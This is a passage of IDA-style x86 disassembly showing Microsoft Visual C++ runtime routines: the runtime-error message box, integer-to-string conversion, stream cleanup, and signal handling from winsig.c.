mov ecx, ds:off_4543BC[eax*8]
push ecx
lea edx, [ebp+var_1B0]
push edx
call sub_41F630
add esp, 8
push 12010h
push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
lea eax, [ebp+var_1B0]
push eax
call sub_430AA0
add esp, 0Ch
loc_4300E8: ; CODE XREF: sub_42FF30+44j
; sub_42FF30+C3j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42FF30 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-4], 0
jmp short loc_430106
; ---------------------------------------------------------------------------
loc_4300FD: ; CODE XREF: _0:loc_43011Dj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_430106: ; CODE XREF: _0:004300FBj
cmp dword ptr [ebp-4], 12h
jnb short loc_43011F
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp edx, ds:dword_4543B8[ecx*8]
jnz short loc_43011D
jmp short loc_43011F
; ---------------------------------------------------------------------------
loc_43011D: ; CODE XREF: _0:00430119j
jmp short loc_4300FD
; ---------------------------------------------------------------------------
loc_43011F: ; CODE XREF: _0:0043010Aj _0:0043011Bj
mov eax, [ebp-4]
mov ecx, [ebp+8]
cmp ecx, ds:dword_4543B8[eax*8]
jnz short loc_43013A
mov edx, [ebp-4]
mov eax, ds:off_4543BC[edx*8]
jmp short loc_43013C
; ---------------------------------------------------------------------------
loc_43013A: ; CODE XREF: _0:0043012Cj
xor eax, eax
loc_43013C: ; CODE XREF: _0:00430138j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430140 proc near ; CODE XREF: sub_422400+13p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
push 2
call sub_423280
add esp, 4
mov [ebp+var_8], 3
jmp short loc_430169
; ---------------------------------------------------------------------------
loc_430160: ; CODE XREF: sub_430140:loc_430204j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_430169: ; CODE XREF: sub_430140+1Ej
mov ecx, [ebp+var_8]
cmp ecx, ds:dword_4F4A20
jge loc_430209
mov edx, [ebp+var_8]
mov eax, ds:dword_4F3A14
cmp dword ptr [eax+edx*4], 0
jz short loc_430204
mov ecx, [ebp+var_8]
mov edx, ds:dword_4F3A14
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz short loc_4301C1
mov edx, [ebp+var_8]
mov eax, ds:dword_4F3A14
mov ecx, [eax+edx*4]
push ecx
call sub_41BCF0
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_4301C1
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4301C1: ; CODE XREF: sub_430140+5Dj
; sub_430140+76j
cmp [ebp+var_8], 14h
jl short loc_430204
mov eax, [ebp+var_8]
mov ecx, ds:dword_4F3A14
mov edx, [ecx+eax*4]
add edx, 20h
push edx
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
push 2
mov eax, [ebp+var_8]
mov ecx, ds:dword_4F3A14
mov edx, [ecx+eax*4]
push edx
call sub_41CA10
add esp, 8
mov eax, [ebp+var_8]
mov ecx, ds:dword_4F3A14
mov dword ptr [ecx+eax*4], 0
loc_430204: ; CODE XREF: sub_430140+44j
; sub_430140+85j
jmp loc_430160
; ---------------------------------------------------------------------------
loc_430209: ; CODE XREF: sub_430140+32j
push 2
call sub_423320
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_430140 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430220 proc near ; CODE XREF: sub_422610+31Dp
; sub_434EB0+1EFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_430247
cmp [ebp+arg_0], 0
jge short loc_430247
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_430270
add esp, 10h
jmp short loc_43025D
; ---------------------------------------------------------------------------
loc_430247: ; CODE XREF: sub_430220+7j
; sub_430220+Dj
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_430270
add esp, 10h
loc_43025D: ; CODE XREF: sub_430220+25j
mov eax, [ebp+arg_4]
pop ebp
retn
sub_430220 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430270 proc near ; CODE XREF: sub_430220+1Dp
; sub_430220+35p ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_C], 0
jz short loc_430299
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov [ebp+arg_0], eax
loc_430299: ; CODE XREF: sub_430270+10j
mov ecx, [ebp+var_4]
mov [ebp+var_8], ecx
loc_43029F: ; CODE XREF: sub_430270+79j
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+arg_0], eax
cmp [ebp+var_C], 9
jbe short loc_4302D1
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4302E5
; ---------------------------------------------------------------------------
loc_4302D1: ; CODE XREF: sub_430270+49j
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_4302E5: ; CODE XREF: sub_430270+5Fj
cmp [ebp+arg_0], 0
ja short loc_43029F
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_4302FA: ; CODE XREF: sub_430270+BCj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_4302FA
mov esp, ebp
pop ebp
retn
sub_430270 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+10h], 0Ah
jnz short loc_430359
cmp dword ptr [ebp+8], 0
jge short loc_430359
mov dword ptr [ebp-4], 1
jmp short loc_430360
; ---------------------------------------------------------------------------
loc_430359: ; CODE XREF: _0:00430348j _0:0043034Ej
mov dword ptr [ebp-4], 0
loc_430360: ; CODE XREF: _0:00430357j
mov eax, [ebp-4]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_430270
add esp, 10h
mov eax, [ebp+0Ch]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_430270
add esp, 10h
mov eax, [ebp+0Ch]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+14h], 0Ah
jnz short loc_4303C1
cmp dword ptr [ebp+0Ch], 0
jg short loc_4303C1
jl short loc_4303B8
cmp dword ptr [ebp+8], 0
jnb short loc_4303C1
loc_4303B8: ; CODE XREF: _0:004303B0j
mov dword ptr [ebp-4], 1
jmp short loc_4303C8
; ---------------------------------------------------------------------------
loc_4303C1: ; CODE XREF: _0:004303A8j _0:004303AEj ...
mov dword ptr [ebp-4], 0
loc_4303C8: ; CODE XREF: _0:004303BFj
mov eax, [ebp-4]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_4303F0
mov eax, [ebp+10h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4303F0 proc near ; CODE XREF: _0:004303DCp _0:00430505p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp [ebp+arg_10], 0
jz short loc_430424
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov ecx, [ebp+arg_4]
adc ecx, 0
neg ecx
mov [ebp+arg_0], eax
mov [ebp+arg_4], ecx
loc_430424: ; CODE XREF: sub_4303F0+10j
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_43042A: ; CODE XREF: sub_4303F0+9Fj
; sub_4303F0+A7j
mov eax, [ebp+arg_C]
xor ecx, ecx
push ecx
push eax
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4214F0
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
xor edx, edx
push edx
push ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421480
mov [ebp+arg_0], eax
mov [ebp+arg_4], edx
cmp [ebp+var_C], 9
jbe short loc_430477
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_43048B
; ---------------------------------------------------------------------------
loc_430477: ; CODE XREF: sub_4303F0+6Fj
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_43048B: ; CODE XREF: sub_4303F0+85j
cmp [ebp+arg_4], 0
ja short loc_43042A
jb short loc_430499
cmp [ebp+arg_0], 0
ja short loc_43042A
loc_430499: ; CODE XREF: sub_4303F0+A1j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_4304A8: ; CODE XREF: sub_4303F0+EAj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_4304A8
mov esp, ebp
pop ebp
retn 14h
sub_4303F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_4303F0
mov eax, [ebp+10h]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
cmp dword ptr [ebp+0Ch], 4
jz short loc_430523
cmp dword ptr [ebp+0Ch], 3
jnz short loc_430528
loc_430523: ; CODE XREF: _0:0043051Bj
jmp loc_4306F8
; ---------------------------------------------------------------------------
loc_430528: ; CODE XREF: _0:00430521j
cmp dword ptr [ebp+8], 2
jz short loc_430544
cmp dword ptr [ebp+8], 15h
jz short loc_430544
cmp dword ptr [ebp+8], 16h
jz short loc_430544
cmp dword ptr [ebp+8], 0Fh
jnz loc_430621
loc_430544: ; CODE XREF: _0:0043052Cj _0:00430532j ...
push 1
call sub_423280
add esp, 4
cmp dword ptr [ebp+8], 2
jz short loc_43055A
cmp dword ptr [ebp+8], 15h
jnz short loc_43059F
loc_43055A: ; CODE XREF: _0:00430552j
cmp ds:dword_4F353C, 0
jnz short loc_43059F
push 1
push offset sub_430740
call ds:dword_4F53F8 ; SetConsoleCtrlHandler
cmp eax, 1
jnz short loc_430581
mov ds:dword_4F353C, 1
jmp short loc_43059F
; ---------------------------------------------------------------------------
loc_430581: ; CODE XREF: _0:00430573j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov esi, eax
call sub_429AA0
mov [eax], esi
push 1
call sub_423320
add esp, 4
jmp loc_4306F8
; ---------------------------------------------------------------------------
loc_43059F: ; CODE XREF: _0:00430558j _0:00430561j ...
mov eax, [ebp+8]
mov [ebp-10h], eax
mov ecx, [ebp-10h]
sub ecx, 2
mov [ebp-10h], ecx
cmp dword ptr [ebp-10h], 14h
ja short loc_430612
mov eax, [ebp-10h]
xor edx, edx
mov dl, byte_43071F[eax]
jmp off_43070B[edx*4]
loc_4305C6: ; DATA XREF: _0:off_43070Bo
mov ecx, ds:dword_4F352C
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov ds:dword_4F352C, edx
jmp short loc_430612
; ---------------------------------------------------------------------------
loc_4305DA: ; CODE XREF: _0:004305BFj
; DATA XREF: _0:00430713o
mov eax, ds:dword_4F3530
mov [ebp-0Ch], eax
mov ecx, [ebp+0Ch]
mov ds:dword_4F3530, ecx
jmp short loc_430612
; ---------------------------------------------------------------------------
loc_4305ED: ; CODE XREF: _0:004305BFj
; DATA XREF: _0:00430717o
mov edx, ds:dword_4F3534
mov [ebp-0Ch], edx
mov eax, [ebp+0Ch]
mov ds:dword_4F3534, eax
jmp short loc_430612
; ---------------------------------------------------------------------------
loc_430600: ; CODE XREF: _0:004305BFj
; DATA XREF: _0:0043070Fo
mov ecx, ds:dword_4F3538
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov ds:dword_4F3538, edx
loc_430612: ; CODE XREF: _0:004305B2j _0:004305BFj ...
push 1
call sub_423320
add esp, 4
jmp loc_4306F3
; ---------------------------------------------------------------------------
loc_430621: ; CODE XREF: _0:0043053Ej
cmp dword ptr [ebp+8], 8
jz short loc_430638
cmp dword ptr [ebp+8], 4
jz short loc_430638
cmp dword ptr [ebp+8], 0Bh
jz short loc_430638
jmp loc_4306F8
; ---------------------------------------------------------------------------
loc_430638: ; CODE XREF: _0:00430625j _0:0043062Bj ...
call sub_428EE0
mov [ebp-4], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], offset dword_454308
jnz short loc_430695
push 133h
push offset aWinsig_c ; "winsig.c"
push 2
mov ecx, ds:dword_454388
push ecx
call sub_41BE70
add esp, 10h
mov edx, [ebp-4]
mov [edx+50h], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], 0
jz short loc_430693
mov ecx, ds:dword_454388
push ecx
push offset dword_454308
mov edx, [ebp-4]
mov eax, [edx+50h]
push eax
call sub_41FBF0
add esp, 0Ch
jmp short loc_430695
; ---------------------------------------------------------------------------
loc_430693: ; CODE XREF: _0:00430674j
jmp short loc_4306F8
; ---------------------------------------------------------------------------
loc_430695: ; CODE XREF: _0:0043064Aj _0:00430691j
mov ecx, [ebp-4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+8]
push eax
call sub_430A20
add esp, 8
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz short loc_4306B3
jmp short loc_4306F8
; ---------------------------------------------------------------------------
loc_4306B3: ; CODE XREF: _0:004306AFj
mov ecx, [ebp-8]
mov edx, [ecx+8]
mov [ebp-0Ch], edx
loc_4306BC: ; CODE XREF: _0:loc_4306F1j
mov eax, [ebp-8]
mov ecx, [eax+4]
cmp ecx, [ebp+8]
jnz short loc_4306F3
mov edx, [ebp-8]
mov eax, [ebp+0Ch]
mov [edx+8], eax
mov ecx, [ebp-8]
add ecx, 0Ch
mov [ebp-8], ecx
mov edx, ds:dword_45438C
imul edx, 0Ch
mov eax, [ebp-4]
mov ecx, [eax+50h]
add ecx, edx
cmp [ebp-8], ecx
jb short loc_4306F1
jmp short loc_4306F3
; ---------------------------------------------------------------------------
loc_4306F1: ; CODE XREF: _0:004306EDj
jmp short loc_4306BC
; ---------------------------------------------------------------------------
loc_4306F3: ; CODE XREF: _0:0043061Cj _0:004306C5j ...
mov eax, [ebp-0Ch]
jmp short loc_430706
; ---------------------------------------------------------------------------
loc_4306F8: ; CODE XREF: _0:loc_430523j
; _0:0043059Aj ...
call sub_429A90
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
loc_430706: ; CODE XREF: _0:004306F6j
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
off_43070B dd offset loc_4305C6 ; DATA XREF: _0:004305BFr
dd offset loc_430600
dd offset loc_4305DA
dd offset loc_4305ED
dd offset loc_430612
byte_43071F db 0 ; DATA XREF: _0:004305B9r
dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430740 proc near ; DATA XREF: _0:00430565o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push 1
call sub_423280
add esp, 4
cmp [ebp+arg_0], 0
jnz short loc_43076E
mov [ebp+var_8], offset dword_4F352C
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_C], ecx
mov [ebp+var_4], 2
jmp short loc_430784
; ---------------------------------------------------------------------------
loc_43076E: ; CODE XREF: sub_430740+14j
mov [ebp+var_8], offset dword_4F3530
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov [ebp+var_4], 15h
loc_430784: ; CODE XREF: sub_430740+2Cj
cmp [ebp+var_C], 0
jnz short loc_430798
push 1
call sub_423320
add esp, 4
xor eax, eax
jmp short loc_4307CC
; ---------------------------------------------------------------------------
loc_430798: ; CODE XREF: sub_430740+48j
cmp [ebp+var_C], 1
jz short loc_4307BD
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
push 1
call sub_423320
add esp, 4
mov edx, [ebp+var_4]
push edx
call [ebp+var_C]
add esp, 4
jmp short loc_4307C7
; ---------------------------------------------------------------------------
loc_4307BD: ; CODE XREF: sub_430740+5Cj
push 1
call sub_423320
add esp, 4
loc_4307C7: ; CODE XREF: sub_430740+7Bj
mov eax, 1
loc_4307CC: ; CODE XREF: sub_430740+56j
mov esp, ebp
pop ebp
retn 4
sub_430740 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4307E0 proc near ; CODE XREF: sub_4229A0+2E7p
; sub_433010+Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
sub ecx, 2
mov [ebp+var_20], ecx
cmp [ebp+var_20], 14h
ja loc_4308AE
mov eax, [ebp+var_20]
xor edx, edx
mov dl, byte_430A02[eax]
jmp off_4309EA[edx*4]
loc_430818: ; DATA XREF: _0:off_4309EAo
mov [ebp+var_18], offset dword_4F352C
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp loc_4308B6
; ---------------------------------------------------------------------------
loc_430835: ; CODE XREF: sub_4307E0+31j
; DATA XREF: _0:004309F6o
mov [ebp+var_18], offset dword_4F3530
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_4308B6
; ---------------------------------------------------------------------------
loc_43084F: ; CODE XREF: sub_4307E0+31j
; DATA XREF: _0:004309FAo
mov [ebp+var_18], offset dword_4F3534
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_4308B6
; ---------------------------------------------------------------------------
loc_430869: ; CODE XREF: sub_4307E0+31j
; DATA XREF: _0:004309F2o
mov [ebp+var_18], offset dword_4F3538
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_4308B6
; ---------------------------------------------------------------------------
loc_430883: ; CODE XREF: sub_4307E0+31j
; DATA XREF: _0:004309EEo
call sub_428EE0
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_430A20
add esp, 8
add eax, 8
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
jmp short loc_4308B6
; ---------------------------------------------------------------------------
loc_4308AE: ; CODE XREF: sub_4307E0+20j
; sub_4307E0+31j
; DATA XREF: ...
or eax, 0FFFFFFFFh
jmp loc_4309E6
; ---------------------------------------------------------------------------
loc_4308B6: ; CODE XREF: sub_4307E0+50j
; sub_4307E0+6Dj ...
cmp [ebp+var_C], 0
jz short loc_4308C6
push 1
call sub_423280
add esp, 4
loc_4308C6: ; CODE XREF: sub_4307E0+DAj
cmp [ebp+var_1C], 1
jnz short loc_4308E3
cmp [ebp+var_C], 0
jz short loc_4308DC
push 1
call sub_423320
add esp, 4
loc_4308DC: ; CODE XREF: sub_4307E0+F0j
xor eax, eax
jmp loc_4309E6
; ---------------------------------------------------------------------------
loc_4308E3: ; CODE XREF: sub_4307E0+EAj
cmp [ebp+var_1C], 0
jnz short loc_430900
cmp [ebp+var_C], 0
jz short loc_4308F9
push 1
call sub_423320
add esp, 4
loc_4308F9: ; CODE XREF: sub_4307E0+10Dj
push 3
call sub_41E8C0
loc_430900: ; CODE XREF: sub_4307E0+107j
cmp [ebp+arg_0], 8
jz short loc_430912
cmp [ebp+arg_0], 0Bh
jz short loc_430912
cmp [ebp+arg_0], 4
jnz short loc_43093E
loc_430912: ; CODE XREF: sub_4307E0+124j
; sub_4307E0+12Aj
mov eax, [ebp+var_4]
mov ecx, [eax+54h]
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+54h], 0
cmp [ebp+arg_0], 8
jnz short loc_43093E
mov eax, [ebp+var_4]
mov ecx, [eax+58h]
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+58h], 8Ch
loc_43093E: ; CODE XREF: sub_4307E0+130j
; sub_4307E0+149j
cmp [ebp+arg_0], 8
jnz short loc_430980
mov eax, ds:dword_454380
mov [ebp+var_10], eax
jmp short loc_430957
; ---------------------------------------------------------------------------
loc_43094E: ; CODE XREF: sub_4307E0+19Cj
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_430957: ; CODE XREF: sub_4307E0+16Cj
mov edx, ds:dword_454380
add edx, ds:dword_454384
cmp [ebp+var_10], edx
jge short loc_43097E
mov eax, [ebp+var_10]
imul eax, 0Ch
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_43094E
; ---------------------------------------------------------------------------
loc_43097E: ; CODE XREF: sub_4307E0+186j
jmp short loc_430989
; ---------------------------------------------------------------------------
loc_430980: ; CODE XREF: sub_4307E0+162j
mov eax, [ebp+var_18]
mov dword ptr [eax], 0
loc_430989: ; CODE XREF: sub_4307E0:loc_43097Ej
cmp [ebp+var_C], 0
jz short loc_430999
push 1
call sub_423320
add esp, 4
loc_430999: ; CODE XREF: sub_4307E0+1ADj
cmp [ebp+arg_0], 8
jnz short loc_4309B0
mov ecx, [ebp+var_4]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_1C]
add esp, 8
jmp short loc_4309BA
; ---------------------------------------------------------------------------
loc_4309B0: ; CODE XREF: sub_4307E0+1BDj
mov eax, [ebp+arg_0]
push eax
call [ebp+var_1C]
add esp, 4
loc_4309BA: ; CODE XREF: sub_4307E0+1CEj
cmp [ebp+arg_0], 8
jz short loc_4309CC
cmp [ebp+arg_0], 0Bh
jz short loc_4309CC
cmp [ebp+arg_0], 4
jnz short loc_4309E4
loc_4309CC: ; CODE XREF: sub_4307E0+1DEj
; sub_4307E0+1E4j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_14]
mov [ecx+54h], edx
cmp [ebp+arg_0], 8
jnz short loc_4309E4
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+58h], ecx
loc_4309E4: ; CODE XREF: sub_4307E0+1EAj
; sub_4307E0+1F9j
xor eax, eax
loc_4309E6: ; CODE XREF: sub_4307E0+D1j
; sub_4307E0+FEj
mov esp, ebp
pop ebp
retn
sub_4307E0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
off_4309EA dd offset loc_430818 ; DATA XREF: sub_4307E0+31r
dd offset loc_430883
dd offset loc_430869
dd offset loc_430835
dd offset loc_43084F
dd offset loc_4308AE
byte_430A02 db 0 ; DATA XREF: sub_4307E0+2Br
db 5
dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430A20 proc near ; CODE XREF: _0:004306A0p
; sub_4307E0+B6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_430A2A: ; CODE XREF: sub_430A20+31j
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
cmp edx, [ebp+arg_0]
jz short loc_430A53
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, ds:dword_45438C
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_430A53
jmp short loc_430A2A
; ---------------------------------------------------------------------------
loc_430A53: ; CODE XREF: sub_430A20+13j
; sub_430A20+2Fj
mov eax, ds:dword_45438C
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_430A75
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_0]
jnz short loc_430A75
mov eax, [ebp+var_4]
jmp short loc_430A77
; ---------------------------------------------------------------------------
loc_430A75: ; CODE XREF: sub_430A20+43j
; sub_430A20+4Ej
xor eax, eax
loc_430A77: ; CODE XREF: sub_430A20+53j
mov esp, ebp
pop ebp
retn
sub_430A20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_428EE0
add eax, 58h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430A90 proc near ; CODE XREF: _0:00432019p
push ebp
mov ebp, esp
call sub_428EE0
add eax, 54h
pop ebp
retn
sub_430A90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430AA0 proc near ; CODE XREF: sub_4229A0+2CEp
; sub_42FF30+1B0p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
cmp ds:dword_4F3540, 0
jnz short loc_430B13
push offset aUser32_dll_0 ; "user32.dll"
call ds:off_4F538C
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_430AE7
push offset aMessageboxa ; "MessageBoxA"
mov eax, [ebp+var_8]
push eax
call ds:off_4F5390
mov ds:dword_4F3540, eax
cmp ds:dword_4F3540, 0
jnz short loc_430AEB
loc_430AE7: ; CODE XREF: sub_430AA0+28j
xor eax, eax
jmp short loc_430B57
; ---------------------------------------------------------------------------
loc_430AEB: ; CODE XREF: sub_430AA0+45j
push offset aGetactivewindo ; "GetActiveWindow"
mov ecx, [ebp+var_8]
push ecx
call ds:off_4F5390
mov ds:dword_4F3544, eax
push offset aGetlastactivep ; "GetLastActivePopup"
mov edx, [ebp+var_8]
push edx
call ds:off_4F5390
mov ds:dword_4F3548, eax
loc_430B13: ; CODE XREF: sub_430AA0+14j
cmp ds:dword_4F3544, 0
jz short loc_430B25
call ds:dword_4F3544
mov [ebp+var_4], eax
loc_430B25: ; CODE XREF: sub_430AA0+7Aj
cmp [ebp+var_4], 0
jz short loc_430B41
cmp ds:dword_4F3548, 0
jz short loc_430B41
